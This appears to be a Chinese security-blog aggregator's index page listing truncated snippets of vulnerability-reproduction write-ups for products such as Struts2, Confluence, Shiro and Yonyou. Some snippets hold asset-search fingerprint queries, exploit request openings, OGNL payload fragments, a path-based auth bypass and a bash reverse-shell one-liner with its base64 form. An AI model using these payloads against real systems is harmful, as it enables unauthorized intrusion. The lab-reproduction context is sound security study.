网安漏洞复现

X509证书详解

X.509证书己应用在包括TLS/SSL（WWW万维网安全浏览的基石）在内的众多Internet协议里，同时它也有很多非在线的应用
浅学误人·2024-01-27 09:04

宏景eHRSmsAcceptGSTXServle存在XXE漏洞

指纹特征app="HJSOFT-HCM"漏洞复现POST/servlet/sms/SmsAcceptGSTXServletHTTP/1.1Host:User-Agent:Mozilla/5.0(WindowsNT10.0
LZsec·2024-01-27 09:01

用友-移动系统管理-getApp接口存在SQL注入

指纹特征app="用友-移动系统管理"漏洞复现POST/mobsm/common/..
LZsec·2024-01-27 08:31

Windows下DVWA靶场和SQL-libs靶场搭建

今天咱们来聊聊像网安小白比较适合的靶场环境，比较著名的有DVWA靶场和SQL-libs靶场等等。
LZsec·2024-01-27 08:30

金盘移动图书管理系统doUpload.jsp接口存在文件上传漏洞

指纹特征app="金盘软件-金盘移动图书馆系统"漏洞复现POST/pages/admin/tools/uploadFile/doUpload.jspHTTP/1.1Host:User-Agent:Mozilla
LZsec·2024-01-27 08:30

【漏洞复现】上海冰峰ICEFLOW VPN信息泄露漏洞

Nx01产品简介上海冰峰计算机网络技术有限公司是国内VPN、流量管理、行为管理、链路负载均衡、下一代防火墙设备供应商和IT价值解决方案提供商。冰峰网络reporter系统是一套数据报表管理系统。Nx02漏洞描述上海冰峰计算机网络技术有限公司ICEFLOWVPNRouter系统存在信息泄露漏洞。攻击者可通过该漏洞获取系统日志信息。Nx03产品主页hunter-query:body="上海冰峰计算机网
晚风不及你ღ·2024-01-27 08:51

【漏洞复现】艺创科技智能营销路由器后台命令执行漏洞

Nx03产品主页hunter-query:title=="艺创科技"Nx04漏洞复现漏洞点存在系统维护-命令控制台
晚风不及你ღ·2024-01-27 08:11

某赛通电子文档安全管理系统 hiddenWatermark/uploadFile 文件上传漏洞复现

0x01产品简介某赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机
OidBoy_G·2024-01-27 07:50

企业SRC挖掘个人看法

昨晚上课网安的老师带我们现场挖掘漏洞，可谓是一场视觉盛宴！！！真的没有对比就没有伤害，其间他也分享了一些漏洞挖掘的思路，让我来回顾一下！！
[email protected]·2024-01-27 04:03

WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现WordPress6.2插件：wp-file-manager6.0，FileManager(advancedview)–WordPressplugin|WordPress.org（https
网安Dokii·2024-01-26 23:22

攻防世界WEB新手训练区

view_source此题我愿称之为网安领域的helloworld查看网页源代码的方式一般有——右键->查看网页源代码F12->源代码/来源Ctrl+u随后可以再代码第17行处找到flag，至此迈入网安第一步
晴友读钟·2024-01-26 21:58

myql入门

目录安装修改密码学习资料个人git仓库文章视频官网安装#移除以前的mysql相关sudoaptremove--purgemysql-\*#安装mysqlsudoaptinstallmysql-servermysql-client
ketaotech·2024-01-26 20:30

网安防御保护入门

常见的网络安全术语：漏洞（脆弱性）：可能被一个或多个威胁利用的资产或控制的弱点攻击：企图破坏、泄露、篡改、损伤、窃取、未授权访问或未授权使用资产的行为入侵：对网络或联网系统的未授权访问，即对信息系统进行有意或无意的未授权访问，包括针对信息系统的恶意活动或对信息系统内资源的未授权使用0day漏洞：通常是指还没有补丁的漏洞，也就是说官方还没有发现或者是发现了还没有开发出安全补丁的漏洞后门：绕过安全控制
東霜鲟雪·2024-01-26 20:27

网安防御保护防火墙初使用

要求搭建之后配置如下：首先看要求是使用总公司部分则，先配置总公司的防火墙，注意配置总公司防火墙进入G0/0/0口的IP有个默认192.168.0.124，但是我们的云（cloud）上增加的端口绑定网卡IP为192.168.100.10，则进入G0/0/0配置的IP要跟192.168.100.10/24在同一网段，如图，我配置的是192.168.100.124，接着service-manageall
東霜鲟雪·2024-01-26 20:27

CVE-2016-2183漏洞复现

下面是CVE-2016-2183的漏洞复现过程：1.安装OpenSSL库：先下载OpenSSL库的源代码，解压并进入解压目录，执行以下命令：```./configmakemakeins
网络战争·2024-01-26 17:51

docker & idea 集成开发环境搭建

1.官网安装教程Uninstalloldversionssudoyumremovedocker\docker-client\docker-client-latest\docker-common\docker-latest
john137724·2024-01-26 12:01

手把手教你快速掌握连接远程git仓库or赋值远程仓库到本地并上传代码到gitee

1.先去官网安装Git，这里不多赘述网上教程很多2.1去gitee注册一个账号，然后去我的新建一个仓库，这里是演示一下新手第一次操作的流程2.2设置仓库名称完成创建(这里的库名随便输入看自己)：2.3打开
澄绪猿·2024-01-26 09:25

Fastjson代码审计实战

代码审计-漏洞复现漏洞分析采用的是华夏ERP2.3，查看pom.xml文件发现fastjson版本1.2.55，该版本存在漏洞，利用DNSlog进行验证。
Hello_Brian·2024-01-26 01:56

物联网安全导论

整理不易，不要忘了点赞关注收藏！！！复习资料简写解释精简版CA电子签证机关CertificateAuthority⭐PKI公钥基础设施PublicKeyInfrastructure⭐RBAC基于角色的访问控制Role-BasedAccessControlABAC基于属性的访问控制Attribute-BasedAccessControlDES数据加密标准DataEncryptionStandardA
codefan※·2024-01-25 23:03

【漏洞复现】Hikvision流媒体管理服务器后台文件读取漏洞

Nx01产品简介Hikvision（海康威视）是一家在中国颇具影响力的安防公司，其网络摄像头产品在市场上占据了相当大的份额。综合安防管理平台基于“统一软件技术架构”理念设计，采用业务组件化技术，满足平台在业务上的弹性扩展。Nx02漏洞描述Hikvision流媒体管理服务器存在弱口令漏洞(admin/12345)，攻击者可利用该漏洞登录后台通过文件遍历漏洞获取敏感信息Nx03产品主页fofa-que
晚风不及你ღ·2024-01-25 23:27

【漏洞复现】Hikvision流媒体管理服务器信息泄露漏洞

Nx01产品简介Hikvision（海康威视）是一家在中国颇具影响力的安防公司，其网络摄像头产品在市场上占据了相当大的份额。综合安防管理平台基于“统一软件技术架构”理念设计，采用业务组件化技术，满足平台在业务上的弹性扩展。Nx02漏洞描述HikvisionHikvision流媒体管理服务器user.xml配置文件存在未授权访问，攻击者通过漏洞可以获取网站账号密码。Nx03产品主页fofa-quer
晚风不及你ღ·2024-01-25 23:27

在win11上建立Python环境（特详细，初学者可了解）

一、下载安装程序1、官网安装地址：DownloadPython|Python.org打开上面网址，会进入如下页面，该网页会检测你的系统平台，给出最新版本的下载提示。
诚外无物0106·2024-01-25 21:29

中间件安全

中间件安全vulhub漏洞复现：https://vulhub.org/操作教程：https://www.freebuf.com/sectool/226207.html一、ApacheApache(音译为阿帕奇
果粒程1122·2024-01-25 18:29

网安培训第一期——sql注入+文件

文章目录sqlinject报错注入time盲注联合查询万能密码拦截和过滤ascii注入流程base64查询的列名为mysql保留关键字key文件上传ffuf脚本要做的三件事网络端口进程用户权限文件文件包含文件下载XSS跨站请求攻击csrf跨站请求伪造sqlinject判断输入字段是字符串还是数字方法：--字符串——显示全部内容(1是为了回显有效的数字，去掉网站正常查询出的信息)1‘#--数字——显
GrandNovice·2024-01-25 15:25

网安培训第三期——Docker和python

文章目录day1Docker安装windows安装dockerlinux安装dockerdocker入门11.配置国内镜像源2.常用命令day1题目day2docker入门2docker挂载文件day2题目day3阿里云容器仓库docker使用阿里云仓库docker导入导出dockerapi未授权Dockerfileday4DockerComposevulhub部署和使用day5pythonpyt
GrandNovice·2024-01-25 15:25

网安培训第二期——sql注入+中间件+工具

文章目录宽字节注入插入注入二次注入PDO模式(动态靶机！！！！！！！)sql注入读取文件sql注入导出文件linux命令10.12笔记sqlmapsqlmap参数10.13笔记sqlmap文件读写前后缀常用tamper及适用场景10.14笔记命令执行漏洞linux命令连接符windows命令连接符代码执行漏洞10.15笔记SSRF(可能考察burp爆破)10.16笔记WSDLapi接口(不考)ph
GrandNovice·2024-01-25 15:54

大专学历的小老弟网安岗位面试经验分享，掰开给各位大佬助助兴

过完年从不喜欢的职业离职后，专心学习渗透技术到现在也有快两个月了，因为没有什么经济收入所以想着能否找一份实习的工作或者初级渗透工作来养活自己吃饭问题，投了近100家后收到了些面试电话，废话不说了，下面是三家面试经验，还请各位学长、老师哪里有不好的地方多多指教北京某科技安全公司（渗透测试）1.你好，是某某先生嘛，我是某某公司的，今天下午收到您的简历，这件简单了解一下，反序列化漏洞函数能说出几个吗？s
程序学到昏·2024-01-25 14:57

局域网安全-DHCP欺骗实验

实验大纲1.构建网络拓扑结构图2.路由器配置3.DHCP服务器配置4.域名服务器配置5.web服务器配置6.配置路由器R07.配置路由器R18.PC自动获取ip信息9.修改web服务器主页10.PC访问web服务器11.构建伪造web服务器12.构建伪造DHCP服务器13.构建伪造DNS服务器14.PC重新获得网络信息15.PC访问web服务器1.构建网络拓扑结构图2.路由器配置R0路由器两端是两
旺旺仙贝·2024-01-25 14:04

Monitorr 任意文件上传漏洞复现(CVE-2024-0713)

0x01产品简介Monitorr是一个实时显示任何网络应用程序或服务状态的网络前端。0x02漏洞概述Monitorr1.7.6m版本中发现漏洞。它已被宣布为关键。受此漏洞影响的是组件服务配置的文件/assets/php/upload.php的未知功能。对参数fileToUpload的操作会导致不受限制的上传，未经身份验证的攻击者可远程上传恶意文件导致服务器失陷。0x03复现环境FOFA：body=
OidBoy_G·2024-01-25 06:01

Atlassian Confluence Data Center and Server 权限提升漏洞复现（CVE-2023-22515）

0x01产品简介AtlassianConfluence是一款由Atlassian开发的企业团队协作和知识管理软件，提供了一个集中化的平台，用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。0x02漏洞概述AtlassianConfluenceDataCenterandServer存在权限提升漏洞，未经身份验证的远程攻击者可以利用该漏洞
OidBoy_G·2024-01-25 06:30

蓝凌OA sysUiExtend.do 任意文件上传漏洞复现

0x01产品简介蓝凌核心产品EKP平台定位为新一代数字化生态OA平台，数字化向纵深发展，正加速构建产业互联网，对企业协作能力提出更高要求，蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化，赋能大中型组织更高效的内外协作与管理，支撑商业模式创新与转型发展。0x02漏洞概述蓝凌OAsysUiExtend.do接口处存在任意文件上传漏洞，未经过身份认证的攻击者可通过构造压缩
OidBoy_G·2024-01-25 06:28

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134）

二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
free key·2024-01-25 06:41

[漏洞复现]Apache POI ＜ 3.10.1 XXE（CVE-2014-3529）

二、漏洞复现春秋云境.com进入靶场准备文件和环境创建一个[Content_Types].xml文件和xxe.dtd文件注意名字不可修改###xxe.dtd###">%all;###[Content_Typ
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966）

二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
free key·2024-01-25 06:10

[漏洞复现] Craft (CVE-2023-41892)

前言本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！一、漏洞情况分析CraftCMS是美国Pixel＆tonic公司的一套内容管理系统（CMS）。一个开源的内容管理系统，它专注于用户友好的内容创建过程，逻辑清晰明了，是一个高度自由，高度自定义设计的平台吗，可以用来创建个人或企业网站也可以搭建企业级电子商务系统。Pixel＆tonicCraftCMS4.4.15之前版本存在代码
free key·2024-01-25 06:10

[漏洞复现]Apache Shiro ＜ 1.6.0 验证绕过漏洞（CVE-2020-13933）

二、漏洞复现春秋云境.com进入靶场开始复现/admin/%3b三、漏洞处置建议把靶场关了，跟漏洞说“白白吧”
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135）

二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#
free key·2024-01-25 06:04

看透繁花，六大经典台词另有深意

同在变革的大潮，《繁花》里“上帝虽不语”，但在这个多变的时代，网安人看后不能不语。变动，便应变；挑战，便应战；变革，便升级。我们在《繁花》里看到安全的门道。1.外行看门面，内行看后门。
亚信安全官方账号·2024-01-25 03:52

D-Tale SSRF漏洞复现（CVE-2024-21642）

0x01产品简介D-tale是一个在2020年2月推出的库，是Pandas数据结构的可视化工具。它具有许多功能，对于探索性数据分析非常方便、支持交互式绘图、3d绘图、热图、特征之间的相关性、构建自定义列等等。0x02漏洞概述D-Tale是Pandas数据结构的可视化工具。3.9.0之前的D-Tale版本的用户可能容易受到服务器端请求伪造(SSRF)的攻击，从而使攻击者能够访问服务器上的文件。0x0
OidBoy_G·2024-01-24 22:45

【复现】Hytec Inter HWL 2511 SS路由器RCE漏洞_25

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述HytecInterHWL2511SS是日本HytecInter公司的一款工业级LTE路由器，可用于远程数据传输
穿着白衣·2024-01-24 22:44

【复现】万户ezoffice协同管理平台 SQL注入漏洞_26

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述万户ezOFFICE协同管理平台分为企业版和政务版。
穿着白衣·2024-01-24 22:44

【复现】奥威亚视屏云平台文件读取漏洞_27

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述奥威亚视屏云平台拥有丰富的应用模块，包括结对帮扶、网络教研、教研共同体、优课汇聚、教学资源、在线巡课、AI
穿着白衣·2024-01-24 22:44

【复现】D-Tale SSRF漏洞(CVE-2024-21642)_26

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述D-Tale数据可视化插件是后端框架Flask与前端框架React组合产生的一款开源的数据可视化分析插件。
穿着白衣·2024-01-24 22:13

密闭空间可燃气体监测终端：守护燃气管网安全

在这个瞬息万变的时代，燃气安全问题始终是我们关注的焦点。地下燃气管线因老化或腐蚀等造成燃气泄漏，并扩散至地下管沟、窨井等相邻空间，引发爆炸的风险，尤其在密闭空间中潜在的危险常常不易察觉，但一旦发生事故，后果不堪设想。为了守护我们的生命财产安全，旭华智能一款全新的密闭空间可燃气体监测终端应运而生。一、精准监测，实时反馈这款设备采用激光传感器，集监测可燃气体浓度、水浸、温度、压力等多功能于一身，监测精
旭华智能·2024-01-24 10:41

黑客（网络安全）技术——如何高效自学

前言前几天发布了一篇网络安全（黑客）自学没想到收到了许多人的私信想要学习网安黑客技术！却不知道从哪里开始学起！
学习网络安全的小猿同学·2024-01-24 09:49

【漏洞复现】用友NC Cloud portal/file接口任意文件读取漏洞

文章目录前言声明一、用友NCCloudportal/file接口简介二、漏洞描述三、影响版本四、漏洞复现五、修复建议前言用友网络是全球领先的企业与公共组织软件、云服务、金融服务提供商。
李火火安全阁·2024-01-24 00:32

用友 GRP U8 UploadFile 命令执行漏洞

文章目录前言声明一、漏洞描述二、影响版本三、漏洞复现前言用友GRP-U8是一款功能全面、灵活度高、可定制性强的ERP软件，能够协助企业实现资源的高效管理，优化企业运营流程，提升整体管理水平。
李火火安全阁·2024-01-24 00:57

【Node】mac 安装n进行node版本管理

使用管理员身份安装：sudonpmin-g查看n是否安装成功：n-V使用n管理node查看node可以使用的列表：nls安装制定版本node查看官方node版本npmviewnodeversions或者node官网安装指定的
努力挣钱的小鑫·2024-01-23 14:31

Atlassian Confluence RCE漏洞复现(CVE-2023-22527)

0x01产品简介AtlassianConfluence是一款由Atlassian开发的企业团队协作和知识管理软件，提供了一个集中化的平台，用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。0x02漏洞概述AtlassianConfluence/template/aui/text-inline.vm接口处存在velocity模板注入，未
OidBoy_G·2024-01-23 10:24

Aria2 WebUI控制台 任意文件读取漏洞复现（CVE-2023-39141）

0x01产品简介Aria2WebUI控制台是用于下载文件的实用程序。它支持HTTP(S)/FTP/SFTP/BitTorrent和Metalink协议。aria2可以从多个来源/协议下载文件，并尝试利用您的最大下载带宽。它支持同时从HTTP(S)/FTP/SFTP和BitTorrent下载文件，而从HTTP（S）/FTP/SFTP下载的数据上传到BitTorrent群。使用Metalink块校验和
OidBoy_G·2024-01-23 10:24
上一页 6 7 8 9 10 11 12 13 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他